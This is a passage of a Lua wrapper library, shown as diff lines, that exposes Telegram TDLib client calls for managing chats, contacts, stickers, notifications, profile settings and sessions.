+ }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", 